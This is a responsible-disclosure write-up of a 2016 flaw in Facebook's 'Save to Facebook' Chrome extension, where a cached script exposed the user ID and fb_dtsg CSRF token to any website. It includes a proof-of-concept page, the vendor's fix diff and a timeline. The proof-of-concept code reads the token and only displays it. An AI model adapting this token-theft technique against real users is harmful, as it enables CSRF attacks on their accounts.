Grab Facebook’s CSRF token through their “Save to Facebook” Chrome extension
Facebook developed a Save to Facebook extension for Chrome that lets users easily add webpages to their Facebook Saved list (just like Pocket) anywhere on the web.
The extension loads a JavaScript file at https://www.facebook.com/saved/extension/rsrc/js/
in order to run the extension itself. This URL is not directly accessible, it can only be loaded if the request headers contain Origin: chrome-extension://jmfikkaogpplgnfjmbjdpalkhclendgd
However, this protection is flawed as the script file becomes cached due to the response header of cache-control: public, max-age=21600
being set, therefore the browser will return the cached file when any website requests for it.
Any website can abuse this to find out the current logged-in user ID and get the fb_dtsg
token too, potentially bypassing CSRF protections.
Reproduction Instructions / Proof of Concept
- Install the extension
- Visit the proof-of-concept page (source code below), it will attempt to load the cached script file, therefore revealing the user ID and
fb_dtsg
token
<script src="https://www.facebook.com/saved/extension/rsrc/js/"></script>
<script>
setTimeout(function() {
try {
var userId = require('CurrentUserInitialData').USER_ID;
var dtsg = require('DTSG').getToken();
alert('Your Facebook user ID: ' + userId + '\nYour fb_dtsg token: ' + dtsg);
} catch (ev) {
alert('Sorry, can\'t find your Facebook user ID, make sure you have the "Save to Facebook" Chrome extension installed');
}
}, 100);
</script>
Screenshots
The fix
Facebook chose to cache bust the script URL on every reload making it harder/impossible to guess.
$ diff 1.0_0/js/background.js 1.1_0/js/background.js --unified
--- 1.0_0/js/background.js 2016-06-26 17:45:48.000000000 +0800
+++ 1.1_0/js/background.js 2016-06-29 11:35:46.000000000 +0800
@@ -81,13 +81,24 @@
}
}
+function guid() {
+ function s4() {
+ return Math.floor((1 + Math.random()) * 0x10000)
+ .toString(16)
+ .substring(1);
+ }
+ return s4() + s4() + '-' + s4() + '-' + s4() + '-' +
+ s4() + '-' + s4() + s4() + s4();
+}
+
function ensureJSLoaded() {
// If loaded or loading, nothing to do
if (_jsState == NOT_LOADED) {
_jsState = LOADING;
+ var randomKey = guid();
requestScript(
- getFullUrl('/saved/extension/rsrc/js/'),
+ getFullUrl('/saved/extension/rsrc/js/?key=' + randomKey),
function(success) {
_jsState = (success && SavedExtension !== undefined)
? LOADED
Timeline (all times are UTC+8)
This vulnerability was discovered within a few hours of the extension’s launch so few users were actually exposed to this.
- Time of submission: 2016-06-30 12:21 am
- Time of first response: 2016-06-30 01:53 am
- Time of Facebook’s fix email: 2016-07-01 02:00 am
Edit: 2019-03-20
This presentation (slides 33 to 46) describes a similar attack with using the Referer header to attempt validation.